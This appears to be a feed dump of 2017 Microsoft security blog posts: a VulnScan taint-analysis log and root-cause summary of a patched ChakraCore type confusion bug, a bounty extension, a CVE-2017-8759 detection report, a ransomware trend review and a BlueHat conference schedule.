[*]     Source memory value: 0xA
[*]     Memory is initialized @TTTPos: 49454400930092.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x2967D8B4898
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         qword ptr [rax],rcx
[*]     Current position: 0x2CC280001D5A
[*]     Source memory value: 0x140000000A
[*]     Pointer size mismatch detected!
[*]     Tainting back register: rcx
[*]     Register value: 0x140000000A
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         rcx,qword ptr [rdx]
[*]     Current position: 0x2CC280001D59
[*]     Source effective address: 0x2967E1B4070
[*]     Source memory value: 0x140000000A
[*]     Memory is initialized @TTTPos: 49213882768729.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x2967E1B4070
[*]     ----------------------------------------------------------------------
[*]     Current instruction: movups      xmmword ptr [rcx-10h],xmm0
[*]     Current position: 0x2C68400005CB
[*]     Source memory value: 0x140000000A
[*]     Tainting back register: xmm0
[*]     Register value: 0x140000000A
[*]     ----------------------------------------------------------------------
[*]     Current instruction: movups      xmm0,xmmword ptr [rdx+rcx]
[*]     Current position: 0x2C68400005C7
[*]     Source effective address: 0x2967D713D30
[*]     Source memory value: 0x140000000A
[*]     Memory is initialized @TTTPos: 48826261964231.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x2967D713D30
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         dword ptr [rax+8],ecx
[*]     Current position: 0x2C4A80000537
[*]     Source memory value: 0x14
[*]     Pointer size mismatch detected!
[*]     Tainting back register: ecx
[*]     Register value: 0x14
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         ecx,dword ptr [rdx+8]
[*]     Current position: 0x2C4A80000535
[*]     Source effective address: 0x2967E1BC078
[*]     Source memory value: 0x14
[*]     Memory is initialized @TTTPos: 48698486687029.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x2967E1BC078
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         dword ptr [rbx+rcx*4+4],eax
[*]     Current position: 0x2C4A800004E5
[*]     Source memory value: 0x14
[*]     Tainting back register: eax
[*]     Register value: 0x14
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         eax,dword ptr [rbp+18h]
[*]     Current position: 0x2C4A800004E0
[*]     Source effective address: 0x2967DDB9AA8
[*]     Source memory value: 0x14
[*]     Memory is initialized @TTTPos: 48698486686944.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x2967DDB9AA8
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         dword ptr [rax+18h],ebp
[*]     Current position: 0x2A8C80001858
[*]     Source memory value: 0x14
[*]     Tainting back register: ebp
[*]     Register value: 0x14
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         ebp,edx
[*]     Current position: 0x2A8C80001827
[*]     Tainting back register: edx
[*]     Register value: 0x14
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         edx,dword ptr [rdi+000000E0h]
[*]     Current position: 0x2A8C8000181F
[*]     Source effective address: 0x99C17FEE00
[*]     Source memory value: 0x14
[*]     Memory is initialized @TTTPos: 46782931277855.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x99C17FEE00
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         dword ptr [rax],edx
[*]     Current position: 0x2A8C80001738
[*]     Source memory value: 0x14
[*]     Tainting back register: edx
[*]     Register value: 0x14
[*]     ----------------------------------------------------------------------
[*]     Current instruction: cvttsd2si   edx,xmm1
[*]     Current position: 0x2A8C80001728
[*]     Tainting back register: xmm1
[*]     Register value: 0x4034000000000000
[*]     ----------------------------------------------------------------------
[*]     Current instruction: movsd       xmm1,mmword ptr [rbp+58h]
[*]     Current position: 0x2A8C80001725
[*]     Source effective address: 0x99C17FE550
[*]     Source memory value: 0x4034000000000000
[*]     Memory is initialized @TTTPos: 46782931277605.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x99C17FE550
[*]     ----------------------------------------------------------------------
[*]     Current instruction: movsd       mmword ptr [rdi],xmm0
[*]     Current position: 0x2A8C80001719
[*]     Source memory value: 0x4034000000000000
[*]     Tainting back register: xmm0
[*]     Register value: 0x4034000000000000
[*]     ----------------------------------------------------------------------
[*]     Current instruction: movaps      xmm0,xmm1
[*]     Current position: 0x2A8C8000170D
[*]     Tainting back register: xmm1
[*]     Register value: 0x4034000000000000
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mulsd       xmm1,mmword ptr [rdx+rax*8]
[*]     Current position: 0x2A8C80001709
[*]     Source effective address: 0x7FFC239B2358
[*]     Source memory value: 0x4024000000000000
[*]     Adding junction to taint register: xmm1
[*]     ----------------------------------------------------------------------
[*]     Processing junction..
[*]     Current instruction: mulsd       xmm1,mmword ptr [rdx+rax*8]
[*]     Tainting register: xmm1
[*]     Register value: 0x4000000000000000
[*]     Current instruction: cvtsi2sd    xmm1,rax
[*]     Current position: 0x2A8C80001701
[*]     Tainting back register: rax
[*]     Register value: 0x2
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         eax,esi
[*]     Current position: 0x2A8C800016FF
[*]     Tainting back register: esi
[*]     Register value: 0x2
[*]     ----------------------------------------------------------------------
[*]     Current instruction: lea         esi,[rax+rsi*2]
[*]     Current position: 0x2A8C800016FA
[*]     Adding junction to taint register: rsi
[*]     Tainting back register: rax
[*]     Register value: 0x32
[*]     ----------------------------------------------------------------------
[*]     Current instruction: movzx       eax,al
[*]     Current position: 0x2A8C800016F8
[*]     Tainting back register: al
[*]     Register value: 0x32
[*]     ----------------------------------------------------------------------
[*]     Current instruction: movzx       eax,byte ptr [rbx]
[*]     Current position: 0x2A8C800016F4
[*]     Source effective address: 0x28E6922DCA8
[*]     Tainting back memory: 0x28E6922DCA8
[*]     ----------------------------------------------------------------------
[*]     Current instruction: rep movs    byte ptr [rdi],byte ptr [rsi]
[*]     Current position: 0x1D420000037E
[*]     Source effective address: 0x28E692302E8
[*]     Source memory value: 0x0
[*]     Tainting back memory: 0x28E692302E8
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         qword ptr [rcx+28h],rdx
[*]     Current position: 0x1D40400000A7
[*]     Source memory value: 0xC0C0C0C0C0C0C0C0
[*]     Pointer size mismatch detected!
[*]     Tainting back register: rdx
[*]     Register value: 0xC0C0C0C0C0C0C0C0
[*]     ----------------------------------------------------------------------
[*]     Current instruction: imul        rdx,r9
[*]     Current position: 0x1D404000001C
[*]     Adding junction to taint register: rdx
[*]     Tainting back register: r9
[*]     Register value: 0x101010101010101
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         r9,101010101010101h
[*]     Current position: 0x1D404000001B
[*]     Tainted register is set to constant value!
[*]     ----------------------------------------------------------------------
[*]     Processing junction..
[*]     Current instruction: lea         esi,[rax+rsi*2]
[*]     Tainting register: rsi
[*]     Register value: 0xFFFFFFE8
[*]     Current instruction: lea         esi,[rsi-18h]
[*]     Current position: 0x2A8C800016F9
[*]     Tainting back register: rsi
[*]     Register value: 0x0
[*]     ----------------------------------------------------------------------
[*]     Current instruction: lea         esi,[rsi+rsi*4]
[*]     Current position: 0x2A8C800016F7
[*]     Tainting back register: rsi
[*]     Register value: 0x0
[*]     ----------------------------------------------------------------------
[*]     Current instruction: xor         esi,esi
[*]     Current position: 0x2A8C80001696
[*]     Tainted register got zeroed!
[*]     ----------------------------------------------------------------------
[*]     Processing junction..
[*]     Current instruction: imul        rdx,r9
[*]     Tainting register: rdx
[*]     Register value: 0xC0
[*]     Current instruction: movzx       edx,dl
[*]     Current position: 0x1D404000001A
[*]     Tainting back register: dl
[*]     Register value: 0xC0
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         edx,0C0h
[*]     Current position: 0x1D4040000011
[*]     Tainted register is set to constant value!
[*]     ----------------------------------------------------------------------
[*]     Type Confusion vulnerability detected !!!
[*]     Loading Symbols.
[*]     Building output.
[*]     Writing findings to file: n:\CVE-2017-0134\ch.run.html
[*]     Analysis finished in 00:01:08

This initial output provides us with an assembly language analysis of the bug. VulnScan then produces a more detailed report, containing the register values, source code, local variables, and call stack. This assists the product developers in providing an accurate and comprehensive fix.

Using the data obtained from both reports we can start investigating the source code in between crashing location and triggered heuristic. We can observe that the value used as a pointer is being set as an array element in Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt and it comes from the Js::JavascriptArray::EntryConcat function. Jordan found a way to change the array type by using a custom getter on a property of the IntArray object to change the array type to VarArray. Functions JavascriptArray::ConcatIntArgs (as shown on the call stack in report) and JavascriptArray::ConcatFloatArgs use the Symbol.isConcatSpreadable property of the array object, and it is a custom getter on that symbol that can be used to change the array type. This caused concatenated IntArray items to be written to a VarArray instead of an IntArray after the type change, which led to array object corruption. A fix for this issue was introduced in this ChakraCore commit.

That’s it for today. If you would like to hear more about this tool, and the heuristics and taint techniques used please leave feedback. Our next steps highly depend on community response. The tool is frequently updated with new heuristics and features requested by users of the tool within Microsoft.

Shout outs to MSRC UK team for feedback and ideas, Jordan Rabet for the bug he found, Steven Hunter, Matt Miller and Gavin Thomas for the help in writing this blog post. Kudos should also fly to WinDbg, TTD, Sonar and Microsoft Security Risk Detection teams for amazing tools they developed.

Mateusz Krzywicki from Microsoft Security Response Center (UK).

]]>
https://blogs.technet.microsoft.com/srd/2017/10/03/vulnscan-automated-triage-and-root-cause-analysis-of-memory-corruption-issues/feed/0
Announcing the Windows Defender Advanced Threat Protection ISO 27001 audit assessment reporthttps://blogs.technet.microsoft.com/mmpc/2017/09/27/announcing-the-windows-defender-advanced-threat-protection-iso-27001-audit-assessment-report/Wed, 27 Sep 2017 21:47:42 +0000https://blogs.technet.microsoft.com/mmpc/?p=15935The security and privacy of customer data are our top priority. Our goals are simple: to operate our services with the security and privacy you expect from Microsoft, and to give you accurate assurances about our security and privacy practices.

In line with our commitment to provide customers the utmost transparency, we have enhanced auditing around Windows Defender Advanced Threat Protection (Windows Defender ATP) information security and privacy controls. We asked independent third-party auditors to test and assess Windows Defender ATP against the ISO 27001 standards.

We are excited to announce that Windows Defender ATP achieved ISO 27001 certification. You can now find the Windows Defender ATP 27001 audit assessment report in the compliance reports section on the Trust Center ISO 27001 certification page.

To learn more about Windows Defender ATP or start free trial, visit this page.

 

Pieter Wigleven

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

 

]]>
Extending the Microsoft Office Bounty Programhttps://blogs.technet.microsoft.com/msrc/2017/09/15/extending-the-microsoft-office-bounty-program/https://blogs.technet.microsoft.com/msrc/2017/09/15/extending-the-microsoft-office-bounty-program/#respondFri, 15 Sep 2017 22:10:02 +0000https://blogs.technet.microsoft.com/msrc/?p=3195Microsoft announces the extension of the Microsoft Office Bounty Program through December 31, 2017.  This extension is retroactive for any cases submitted during the interim.

The engagement we have had with the security community has been great and we are looking to continue that collaboration on the Office Insider Builds on Windows.  This program represents a great chance to identify vulnerabilities prior to broad distribution.

Program Details

Office Insider Builds give users early access to the latest Office capabilities and security innovation. By testing against these early builds, issues can potentially be found prior to production release. This helps improve quality and protect customers.

How it works

  • Types of vulnerabilities awarded and their details are listed in the Microsoft Office Insider Builds on Windows Bounty Program Terms, including:
    • Elevation of privilege via Office Protected View
    • Macro execution by bypassing security policies to block macros
    • Code execution by bypassing Outlook automatic attachment block policies
  • The program duration is from March 15 to December 31, 2017
  • Bounty payout ranges during this period will be $6,000 to $15,000 USD

Call to action: send your vulnerabilities to secure@microsoft.com and let us know that you want your submission to be part of this program!

As always, the most up-to-date information about the Microsoft Bounty Programs can be found at https://aka.ms/BugBounty and in the associated terms and FAQs.

 

Phillip Misner,

Principal Security Group Manager

Microsoft Security Response Center

]]>
https://blogs.technet.microsoft.com/msrc/2017/09/15/extending-the-microsoft-office-bounty-program/feed/0
Exploit for CVE-2017-8759 detected and neutralizedhttps://blogs.technet.microsoft.com/mmpc/2017/09/12/exploit-for-cve-2017-8759-detected-and-neutralized/Tue, 12 Sep 2017 18:46:50 +0000https://blogs.technet.microsoft.com/mmpc/?p=15895The September 12, 2017 security updates from Microsoft include the patch for a previously unknown vulnerability exploited through Microsoft Word as an entry vector. Customers using Microsoft advanced threat solutions were already protected against this threat.

The vulnerability, classified as CVE-2017-8759, was used in limited targeted attacks and reported to us by our partner, FireEye. Microsoft would like to thank FireEye for responsibly reporting this vulnerability and for working with us to protect customers.

Customers receiving automatic updates for Microsoft products are protected from this attack without any additional action required. Customers not enjoying the benefits of automatic updates should consider immediately applying this month’s updates to avoid unnecessary exposure.

Office 365 ATP and Windows Defender ATP customers protected

Customers running Microsoft advanced threat solutions such as Office 365 Advanced Threat Protection or Windows Defender Advanced Threat Protection were safe from this attack without the need of additional updates. The security configuration and reduced attack surface of Windows 10 S blocks this attack by default.

Office 365 ATP blocked the malicious attachments automatically in customer environments that have adopted the mail detonation and filtering solution. The attachment was blocked based on the detection of the malicious behaviors, as well as its similarity with previous exploits. SecOps personnel would see an ATP behavioral detection in Office 365’s Threat Explorer page:

Figure 1. Block reasons for the exploit attachment as seen in Office 365 ATP console

Windows Defender ATP was also able to raise multiple alerts related to post-exploitation activities performed by this exploit using scripting engines and PowerShell. Additional alerts may also be visible for subsequent stages of the attack performed after malware installation.

In addition, Windows Defender Antivirus detects and blocks exploits for this vulnerability as Exploit:RTF/Fitipol.A, Behavior:Win32/Fitipol.A, and Exploit:RTF/CVE-2017-8759.A using the cloud protection service, which delivers near-real-time protection against such never-before-seen threats.

Figure 2. Windows Defender ATP alerts raised for CVE-2017-8759 zero-day exploit

Protection with Windows Defender Exploit Guard

We are also happy to share with customers testing our upcoming Windows 10 Fall Creators Update that Windows Defender Exploit Guard was also able to prevent this attack using one of the many Attack Surface Reduction rules and exploit protection features.

Figure 3. Example of exploit blocking event logged by Windows Defender Exploit Guard

Windows Defender Exploit Guard is part of the defense-in-depth protection in the Windows 10 Fall Creators Update release.

Another zero-day leading to FinFisher

The CVE-2017-8759 vulnerability can allow remote code execution after users open a spam email, and double-click on an untrusted attachment and disable the Microsoft Office Protected View mode. The exploit uses Microsoft Word as the initial vector to reach the real vulnerable component, which is not related to Microsoft Office and which is responsible for certain SOAP-rendering functionalities through .NET classes.

For more information on this new campaign our partner FireEye has a good technical blog describing the infection mechanism and the details of the exploit.

After the initial notification from FireEye, Windows Defender telemetry revealed very limited usage of this zero-day exploit. The attacker used this exploit to deploy a spyware detected as Wingbird and also known to the security community as “FinFisher”, a commercial surveillance package often seen combined with expensive zero-day vulnerabilities and used by sophisticated actors.

Microsoft researchers believe that the adversary involved in this operation could be linked to the NEODYMIUM group, which has used similar zero-day exploits with spear-phishing attachments combined with the usage of FinFisher spyware. We previously reported about the NEODYMIUM group in the Windows Security blog in 2016. For additional information about this new attack as well as other NEODYMIUM attacks, we encourage ATP customers to review the in-product Threat Intelligence reports on this activity group.

 

 

Elia Florio

Windows Defender ATP Research Team

 

 

Related blog posts

Office 365 Advanced Threat Protection defense for corporate networks against recent Office exploit attacks

Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe

 

 

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

]]>
September 2017 security update releasehttps://blogs.technet.microsoft.com/msrc/2017/09/12/september-2017-security-update-release/https://blogs.technet.microsoft.com/msrc/2017/09/12/september-2017-security-update-release/#respondTue, 12 Sep 2017 17:01:50 +0000https://blogs.technet.microsoft.com/msrc/?p=3165Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice.

More information about this month’s security updates can be found in the Security Update Guide.

 

]]>
https://blogs.technet.microsoft.com/msrc/2017/09/12/september-2017-security-update-release/feed/0
Ransomware 1H 2017 review: Global outbreaks reinforce the value of security hygienehttps://blogs.technet.microsoft.com/mmpc/2017/09/06/ransomware-1h-2017-review-global-outbreaks-reinforce-the-value-of-security-hygiene/Wed, 06 Sep 2017 14:58:36 +0000https://blogs.technet.microsoft.com/mmpc/?p=15835In the first six months of 2017, ransomware threats reached new levels of sophistication. The same period also saw the reversal of a six-month downward trend in ransomware encounters. New ransomware code was released at a higher rate with increasing complexity. Two high-profile ransomware incidents brought cybersecurity to the forefront of mainstream conversations as the impact of attacks was felt around the world by organizations and individuals alike.

The recently released Microsoft Security Intelligence Report summarizing movements in different areas of the threat landscape in the first quarter of the year showed the continued global presence of ransomware. The highest encounter rates, defined as the percentage of computers running Microsoft real-time security products that report blocking or detecting ransomware, were registered in the Czech Republic, Korea, and Italy from January to March 2017.

Sustained ransomware campaigns and high-profile attacks continued to highlight the need for advanced comprehensive cybersecurity strategy. In this blog entry, we share our key observations on the ransomware landscape and offer insights on what can be learned from trends and developments so far in 2017.

Figure 1. Global distribution of ransomware encounters by month, January-June 2017

Ransomware growth rallies

In March of 2017, the volume of ransomware encounters started to pick up again after several months of decline. The growth is driven to a certain extent by sustained activities from established ransomware operations like Cerber, with an onslaught of attacks powered by ransomware-as-a-service.

Figure 2. Total ransomware encounters by month, July 2016-June 2017 (source: Ransomware FAQ page)

In part, this surge is also driven by the emergence of new ransomware families, which are being released into the wild at a faster rate. In the first half of 2017, we discovered 71 new ransomware families, an increase from the 64 new families we found in the same period in 2016.

Some of these new ransomware families stand out because they exhibit new behaviors that make them more complex. For instance, the latest Microsoft Security Intelligence Report shows that in March 2017, two-month old Spora overtook Cerber as the most prevalent ransomware family.

Figure 3. Trends for several commonly encountered ransomware families in 1Q17, by month (source: Microsoft Security Intelligence Report 22)

Spora’s quick rise to the top may be traced to its capability to spread via network drives and removable drives, such as USB sticks. Initial versions targeted Russia and featured a ransom note in the local language. It has since gone global, spreading to other countries with a ransom note in English.

Other notable new ransomware families in 2017 include Jaffrans, Exmas, and Ergop. While these families have not quite achieved the prevalence of Spora, they show signs of persistence and periodic improvements that are observed in older, successful families.

Microsoft protects customers from new and emerging ransomware like Spora using a combination of advanced heuristics, generics, and machine learning, which work together to deliver predictive, real-time protection. In a recent blog post, we demonstrated how we could better protect from never-before-seen ransomware with enhancements to the Windows Defender Antivirus cloud protection service.

The rise of global ransomware outbreaks

WannaCrypt (also known as WannaCry) is one of the most well-known new ransomware to surface so far this year. It emerged in May carrying an exploit for a patched vulnerability and quickly spread to out-of-date Windows 7 computers in Europe and later the rest of the world (the exploit did not affect Windows 10). The attack left several impacted organizations, high-tech facilities, and other services affected in its aftermath.

Only a few weeks after the WannaCrypt outbreak, a new variant of Petya wreaked havoc in June. This Petya variant applied some of the propagation techniques used by WannaCrypt, but incorporated more methods to spread within a network. The outbreak started in Ukraine, where a compromised supply-chain delivered the ransomware through a software update process. The Petya infections swiftly spread to other countries in the course of a few hours. Petya’s impact was not as widespread as the WannaCrypt outbreak; however, as our in-depth analysis of Petya revealed, its upgrades made it so much more complex and caused more damage to organizations affected.

WannaCrypt and Petya defied the trend of more targeted and localized attacks and became the first global malware attacks in quite a while. They generated worldwide mainstream interest. Interestingly, this attention might have added more challenges for attackers. For instance, the Bitcoin wallets used in these attacks were closely monitored by security researchers.

WannaCrypt and Petya showed that ransomware attacks powered by sophisticated exploits on a global scale can be particularly catastrophic. Global attacks emphasize the need to avert ransomware epidemics by enabling responders to detect, respond to, and investigate attacks so infections can be contained and not allowed to swell. Security patches need to be applied as soon as they become available.

Increasing sophistication

The trend of global outbreaks is likely a result of more techniques incorporated by ransomware. WannaCrypt, Petya, Spora, and other new ransomware variants sported new capabilities that allowed them to spread faster and wreak more havoc than other malware.

Lateral movement using exploits

Spora’s aforementioned ability to spread via network drives and removable drives made it one of the most widespread ransomware. Though it was not the first ransomware family to integrate a worm-like spreading mechanism, it was able to use this capability to infect more computers.

With worm capabilities, ransomware attacks can have implications beyond endpoint security, introducing challenges to enterprise networks. This was particularly true for WannaCrypt, which spread by exploiting a vulnerability (CVE-2017-0144, dubbed EternalBlue, previously patched in security update MS17-010), affecting networks with out-of-date computers.

Petya expanded on WannaCrypt’s spreading mechanism by exploiting not one, but two vulnerabilities. Apart from CVE-2017-0144, it also exploited CVE-2017-0145 (known as EternalRomance, and fixed in the same security update as EternalBlue), affecting out-of-date systems.

These two attacks highlighted the importance of applying security patches as they become available. They likewise highlight the importance of immediately detecting and stopping malicious behavior related to exploits.

It is important to note that the EternalBlue and EternalRomance exploits did not affect Windows 10, underscoring the benefits of upgrading to the latest, most secure version of platforms and software. Even if the exploits were designed to work on Windows 10, the platform has multiple mitigations against exploits, including zero-days. In addition, Windows Defender Advanced Threat Protection (Windows Defender ATP) detects malicious activities resulting from exploits without the need for signature updates.

Credential theft

One of Petya’s more noteworthy behaviors is its credential-stealing capability, which it does either by using a credential dumping tool or by stealing from the Credential Store. This capability poses a significant security challenge for networks with users who sign in with local admin privileges and have active sessions opens across multiple machines. In this situation, stolen credentials can provide the same level of access the users have on other machines.

The Petya outbreak is testament to the importance of credential hygiene. Enterprises need to constantly review privileged accounts, which have unhampered network access and access to corporate secrets and other critical data. Credential Guard uses virtualization-based security to protect derived domain credentials and stop attempts to compromise privileged accounts.

Network scanning

Armed with exploits or stolen credentials, ransomware can spread across networks through network scanning. For example, Petya scanned affected networks to establish valid connections to other computers. It then attempted to transfer copies of the malware using stolen credentials. Petya also scanned for network shares in an attempt to spread through those shares.

WannaCrypt, on the other hand, ran massive scanning of IP addresses to look for computers that are vulnerable to the EternalBlue exploit. This gave it the ability to spread to out-of-date computers outside the network. Network defenders can uncover and stop unauthorized network scanning behaviors.

Destructive behavior

In most ransomware cases, the attacker motivation is clear: victims need to pay the ransom or never gain back access to encrypted files. While there is no guarantee that files are decrypted after payment is made, most ransomware infections make their intention clear through a ransom note. In August, WannaCrypt actors wrapped up their campaign by withdrawing ransom pain in Bitcoins from online wallets.

Petya behaved like other ransomware in this aspect. Attackers emptied the Petya online wallets earlier in July. However, Petya had far more destructive routines: it overwrote or damaged the Master Boot Record (MBR) and Volume Boot Record (VBR), rendering affected computers unusable. This started a conversation about whether this Petya variant was primarily a ransomware like WannaCrypt or a destructive cyberattack like Depriz (also known as Shamoon).

Figure 4. Petya incorporated complex behaviors not typical of ransomware

The debate is not settled, but the Petya attack does raise an important point—attackers can easily incorporate other payloads into ransomware code to facilitate targeted attacks and other types of destructive cyberattacks. As the threat of ransomware escalates, enterprises and individuals alike need a sound cybersecurity strategy and a protection suite that will defend against the end-to-end ransomware infection process.

Integrated end-to-end security suite against ransomware

With high-profile global outbreaks and other notable trends, the first six months of 2017 can be considered one of the more turbulent periods in the history of ransomware. The observations we summarized in this blog highlight the potency of the ransomware threat. Unfortunately, given the trends, we may see similarly sophisticated or even more complex attacks in the foreseeable future. More importantly, however, we should learn from these attacks and developments, because they highlight the areas of cybersecurity that need to be improved and reevaluated.

At Microsoft, we’re always hard at work to continuously harden Windows 10 against ransomware and other attacks. In the upcoming Windows 10 Fall Creators Update, we will integrate Microsoft security solutions into a powerful single pane of glass—centralized management that will allow customers to consume, manage, and integrate security for devices in the network. Windows Defender ATP will be expanded to include seamless integration across the entire Windows protection stack. The suite of tools will include the new Windows Defender Exploit Guard and Windows Defender Application Guard, as well as the enhanced Windows Defender Device Guard and Windows Defender AV.

Today, Windows 10 Creators Update has next-gen technologies that protect against ransomware attacks.

Figure 5. Windows 10 end-to-end protection stack (source: Next-gen ransomware protection with Windows 10 Creators Update)

Windows 10 has multiple exploit mitigations, including control flow-guard for kernel (kFCG), kernel mode code integrity (KMCI), better kernel address space layout randomization (KASLR), NX HAL, and PAGE POOL (non-executable kernel regions). These mitigations help make Windows 10 resilient to exploit attacks, such as those used by WannaCrypt and Petya.

Intelligent Security Graph and machine learning

Security built into Windows 10 is powered by the Microsoft Intelligent Security Graph, which correlates signals from billions of sensors. Unique insights from this vast security intelligence enable Microsoft to deliver real-time protection through Windows Defender AV, Windows Defender ATP, and other next-gen security technologies.

The increasing magnitude and complexity of ransomware require advanced real-time protection. Windows Defender AV uses precise machine learning models as well as generic and heuristic techniques, improved detection of script-based ransomware, and enhanced behavior analysis to detect common and complex ransomware code. Using the cloud protection service, Windows Defender AV provides real-time protection. In recent enhancements, the cloud protection service can make a swift assessment of new and unknown files, allowing Windows Defender AV to block new malware the first time it is seen.

Windows Defender Advanced Threat Protection empowers SecOps personnel to stop ransomware outbreaks in the network. Both WannaCrypt and Petya showed how critical it is to detect, investigate, and respond to ransomware attacks and prevent the spread. Windows Defender ATP’s enhanced behavioral and machine learning detection libraries flag malicious behavior across the ransomware infection process. The new process tree visualization and improvements in machine isolation further help security operations to investigate and respond to ransomware attacks.

Online safety with Microsoft Edge and Office 365 Advanced Threat Protection

Microsoft Edge can help block ransomware infections from the web by opening pages within app container boxes. It uses reputation-based blocking of downloads. Its click-to-run feature for Flash can stop ransomware infections that begin with exploit kits.

To defend against ransomware attacks that begin with email, Microsoft Exchange Online Protection (EOP) uses built-in anti-spam filtering capabilities that help protect Office 365 customers. Office 365 Advanced Threat Protection helps secure mailboxes against email attacks by blocking emails with unsafe attachments, malicious links, and linked-to files leveraging time-of-click protection. Outlook.com anti-spam filters also provide protection against malicious emails.

Virtualization-based security and application control

Credential Guard can protect domain credentials from attacks like Petya, which attempted to steal credentials for use in lateral movement. Credential Guard uses virtualization-based security to protect against credential dumping.

Enterprises can implement virtualization-based lockdown security, which can block all types of unauthorized content. Windows Defender Device Guard combines virtualization-based security and application control to allow only authorized apps to run. Petya, whose first infections were traced back to a compromised software update process, was blocked on devices with Device Guard enabled.

Microsoft-vetted security with Windows 10 S and more security features in Windows 10 Fall Creators Update

Devices can achieve a similar lockdown security with Windows 10 S, which streamlines security and performance by working exclusively with apps from the Windows Store, ensuring that only apps that went through the Store onboarding, vetting, and signing process are allowed to run.

All of these security features make Windows 10 our most secure platform. Next-gen security technologies in Windows 10 provide next-gen protection against ransomware.

Figure 6. Windows 10 next-gen security

But the work to further harden Windows 10 against ransomware and other threats continues. Expect more security features and capabilities in the upcoming Windows 10 Fall Creators Update.

 

Tanmay Ganacharya (@tanmayg)

Principal Group Manager, Windows Defender Research

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

]]>
Announcing the BlueHat v17 Schedulehttps://blogs.technet.microsoft.com/bluehat/2017/09/01/announcing-the-bluehat-v17-schedule/https://blogs.technet.microsoft.com/bluehat/2017/09/01/announcing-the-bluehat-v17-schedule/#respondFri, 01 Sep 2017 16:59:48 +0000https://blogs.technet.microsoft.com/bluehat/?p=2155

September is here!  The dash from the close of the call for papers to now has been amazing.  We had nearly two hundred submissions spanning the gamut of security topics and presenters.  The result is a solid schedule that will challenge and educate all attendees.  On behalf of the content advisory board, I want to thank everyone who submitted a paper for consideration.  There were a lot of great ideas, but we could not put all of them on stage for this instance of BlueHat.  We look forward to continuing the security conversation with you in the future.

Microsoft is proud to announce the schedule for the BlueHat v17 Security Conference.

Wednesday, November 8th, 2017 | General Audience

TRACK Time Speaker Company Talk Subject
KEYNOTE 9:00 - 9:50 AM Merike Kaeo Farsight Security Keynote
Track 1 -Encrypt all the things 10:00 - 10:50 AM Alban Diquet
Thomas Sileo
Data Theorem Where, how, and why is SSL traffic on mobile getting intercepted? A look at three million real-world SSL incidents
11:00 - 11:50 AM Joseph Salowey Tableau Software TLS 1.3 - Full speed ahead... mind the warnings - the great, the good and the bad
Track 1 - Battles in Silicon 1:00 - 1:50 PM Alex Matrosov Cylance Betraying the BIOS: Where the Guardians of the BIOS are Failing
2:00 - 2:50 PM Niek Timmers
Cristofaro Mune
Riscure B.V. &

Independent Embedded Security Consultant

KERNELFAULT: R00ting the Unexploitable using Hardware Fault Injection
3:00 - 3:50 PM Rob Turner Qualcomm Technologies Raising the Bar: New Hardware Primitives for Exploit Mitigations
4:00 - 4:50 PM Gunter Ollmann Microsoft Extracting Secrets from Silicon - A New Generation of Bug Hunting
Track 2 - Hey Microsoft, you got it wrong! 10:00 - 10:50 AM Casey Smith Red Canary You Are Making Application Whitelisting Difficult
11:00 - 11:50 AM Yong Chuan Koh MWR Infosecurity Corrupting Memory in Microsoft Office Protected-View Sandbox
Track 2 - Advancing products meet the new threats 1:00 - 1:50 PM Saruhan Karademir

David Weston

Microsoft Securing Windows Defender Application Guard
2:00 - 2:50 PM Mark Wodrich

Jasika Bawa

Microsoft Mitigations for the Masses: From EMET to Windows Defender Exploit Guard
3:00 - 3:25 PM Dean Wells Microsoft Don't let your virtualization fabric become the attack vector
3:30 - 3:55 PM Jonathan Birch Microsoft Dangerous Contents - Securing .Net Deserialization
4:00 - 4:50 PM Filippo Seracini

Lee Holmes

Microsoft Born secure. How to design a brand new cloud platform with a strong security posture

 

Thursday, November 9th, 2017 | General Audience

TRACK Time Speaker Company Talk Subject
Track 1 - I swear it wasn't me! 9:00 - 9:50 AM Kymberlee Price
Sam Vaughan
Microsoft Down the Open Source Software Rabbit Hole
10:00  - 10:50 AM Sean Metcalf Trimarc Active Directory Security: The Journey
11:00 - 11:50 AM Alex Ionescu Crowdstrike Baby’s First Bounty: Lessons from bypassing Arbitrary Code Guard
Track 1 - Cloud Chasing 1:00 - 1:50 PM Nate Warfield
Ben Ridgway
Microsoft All your cloud are belong to us; hunting compromise in Azure
2:00 - 2:25 PM Oran Brill
Tomer Teller
Microsoft Go Hunt: An automated approach for security alert validation
2:30 - 2:55 PM Matt Swann Microsoft Scaling Incident Response - 5 keys to successful defense at scale
3:00 - 3:50 PM Greg Foss LogRhythm PIE - An Active Defense PowerShell Framework for Office365
4:00 - 4:50 PM Mathias Scherman
Daniel Edwards
Tomer Koren
Microsoft Leveraging Honeypots to Train a Supervised Model for Brute-Force Detection
Track 2 - Phishing for Trust 9:00 - 9:50 AM Billy Leonard Google 10 Years of Targeted Credential Phishing
